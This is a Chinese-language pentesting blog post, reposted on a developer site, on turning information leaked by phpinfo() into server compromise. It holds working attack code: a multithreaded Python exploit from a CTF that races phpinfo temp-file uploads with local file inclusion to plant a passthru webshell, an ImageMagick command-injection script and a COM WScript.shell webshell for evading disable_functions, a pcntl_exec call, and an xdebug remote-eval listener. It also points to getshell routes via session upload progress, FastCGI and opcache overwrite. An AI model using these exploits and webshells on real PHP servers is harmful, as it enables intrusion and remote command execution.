内容简介:详细的操作系统信息,为提权做准备
详细的操作系统信息,为提权做准备
extension_dir
php扩展的路径
真实ip
cdn什么的都不存在的,找到真实ip,扫一扫旁站,没准就拿下几个站。
web根目录
临时文件路径
向phpinfo()页面post一个shell(自己写一个上传页面),可以在_FILES[“file1”]中看到上传的临时文件,如果有个lfi,便可以直接getshell了。
phpinfo-lfi
利用脚本
## PHP : Winning the race condition vs Temporary File Upload - PHPInfo() exploit # Alternative way to easy_php @ N1CTF2018, solved by intrd & shrimpgo - p4f team # @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/ ## passwords.txt payload content # <?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?> import sys,Queue,threading,hashlib,os, requests, pickle, os.path, re from subprocess import Popen, PIPE, STDOUT NumOfThreads=50 queue = Queue.Queue() class checkHash(threading.Thread): def __init__(self,queue): threading.Thread.__init__(self) self.queue=queue def run(self): i=0 while True: self.clear=self.queue.get() passtry = self.clear if passtry != "": padding="A" * 5000 cookies = { 'PHPSESSID': 'o99quh47clk8br394298tkv5o0', 'othercookie': padding } headers = { 'User-Agent': padding, 'Pragma': padding, 'Accept': padding, 'Accept-Language': padding, 'DNT': '1' } files = {'arquivo': open('passwords.txt','rb')} reqs='http://47.97.221.96:23333/index.php?action=../../var/www/phpinfo/index.php&a='+padding #reqs='http://172.17.0.2:80/index.php?action=../../var/www/phpinfo/index.php&a='+padding response = requests.post(reqs, headers=headers, cookies=cookies, files=files, verify=False) data = response.content data = re.search(r"(?<=tmp_name] => ).*", data).group(0) print data reqs = 'http://47.97.221.96:23333/index.php?action=../..'+data #reqs = 'http://172.17.0.2:80/index.php?action=../..'+data print reqs response = requests.get(reqs, verify=False) data = response.content print data i+=1 self.queue.task_done() for i in range(NumOfThreads): t=checkHash(queue) t.setDaemon(True) t.start() for x in range(0, 9999): x=str(x) queue.put(x.strip()) queue.join()
0x02 重要配置
allow_url_include
远程文件包含,但是一般不会开启
asp_tags
php标签有4种形式,如果这个选项不开启的话(一般默认不开启),使用asp的标签是不会解析的。
这里有一篇 user.ini
+ asp_tags
绕过的文章 针对内容(php tags)检测的一种绕过思路
实际就是通过向其中添加 php_value asp_tags On
并上传 .htaccess
和 .user.ini
来bypass。
原理,asp_tags的属性是这样的
PHP_INI_PERDIR:指令可以在php.ini、httpd.conf或.htaccess文件中修改
注意: 在 PHP 7已经完全移除了这种标签
short_open_tag
还是标签的问题,允许<??>这种形式,并且<?=等价于<? echo
disable_functions
有时候我们上传了一个webshell却不能用,有很大可能是管理员做了配置,禁用了php执行系统命令的函数。
绕过的方式有这么几个:
1.黑名单绕过
百密一疏,寻找黑名单中漏掉的函数,上图中禁用的函数算是比较全的了。
比如有时候没有禁用proc_open
比如在编译php时如果加了-–enable-pcntl选项,就可以使用pcntl_exec()来执行命令。
pcntl是 linux 下的一个扩展,可以支持php的多线程操作。
pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0
<?php pcntl_exec(“/bin/bash”, array(“/tmp/b4dboy.sh”));?>
渗透技巧:利用pcntl_exec突破disable_functions
2.利用扩展(如ImageMagick)绕过
利用ImageMagick漏洞绕过disable_function<?php echo "Disable Functions: " . ini_get('disable_functions') . "\n"; $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd']; if ($command == '') { $command = 'id'; } $exploit = <<<EOF push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|$command")' pop graphic-context EOF; file_put_contents("KKKK.mvg", $exploit); $thumb = new Imagick(); $thumb->readImage('KKKK.mvg'); $thumb->writeImage('KKKK.png'); $thumb->clear(); $thumb->destroy(); unlink("KKKK.mvg"); unlink("KKKK.png"); ?>
3. 利用环境变量LD_PRELOAD来绕过php disable_function
4.利用扩展库绕过
Windows靠系统组件
<?php $command=$_POST[a]; $wsh = new COM('WScript.shell'); // 生成一个COM对象 $exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令 $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput ?>
Linux下可通过编译拓展库进行绕过
enable_dl
上面说的利用扩展库绕过disable_functions,需要使用dl()并且开启这个选项
magic_quotes_gpc
它是用来实现addslshes()和stripslashes()这两个功能的,对 SQL 注入进行防御。
open_basedir
这个参数将用户可操作的文件限制在某目录下,但是这个限制是可以绕过的。
0x03扩展
imagick
前段时间影响比较大的漏洞,注意看版本。
漏洞影响ImageMagick 6.9.3-10之前的版本,包括ubuntu源中安装的ImageMagick。
libxml
libxml 2.9以前的版本默认支持并开启了外部实体的引用,服务端解析用户提交的 xml 文件时未对 xml 文件引用的外部实体(含外部普通实体和外部参数实体)做合适的处理,会导致XXE。
memcache
redis
session
1.序列化的一些问题
序列化处理器不一致导致对象注入
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
具体可以看我的另一篇文章 php对象注入总结 。
2.session.upload_progress加本地文件包含=getshell
http://skysec.top/2018/04/04/amazing-phpinfo/#session-upload-progress
xdebug
xdebug命令执行
http://skysec.top/2018/04/04/amazing-phpinfo/#Xdebug
#!/usr/bin/python2 import socket ip_port = ('0.0.0.0',9000) sk = socket.socket() sk.bind(ip_port) sk.listen(10) conn, addr = sk.accept() while True: client_data = conn.recv(1024) print(client_data) data = raw_input('>> ') conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
GOPHER
主要在ssrf中使用
fastcgi
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
0x04其它
OPCACHE
php不存在缓存文件,但是其有opcache,如果有文件上传就可以进行覆盖并getshell
工具
https://github.com/GoSecure/php7-opcache-override
参考
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 零猫科技告诉你-Go语言可以干嘛?
- 可以让程序告诉我详细的页面错误和数据库连接错误吗?
- 2018年最流行的深度学习框架?这份科学的排行榜可以告诉你
- 后Python时代, Julia告诉你速度和灵活性真的都可以有
- AI可以如何抗击新冠?WHO论文告诉你这三大场景大有可为
- 数学 – 任何人都可以告诉我为什么我们总是在机器学习中使用高斯分布?
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Automate This
Christopher Steiner / Portfolio / 2013-8-9 / USD 25.95
"The rousing story of the last gasp of human agency and how today's best and brightest minds are endeavoring to put an end to it." It used to be that to diagnose an illness, interpret legal docume......一起来看看 《Automate This》 这本书的介绍吧!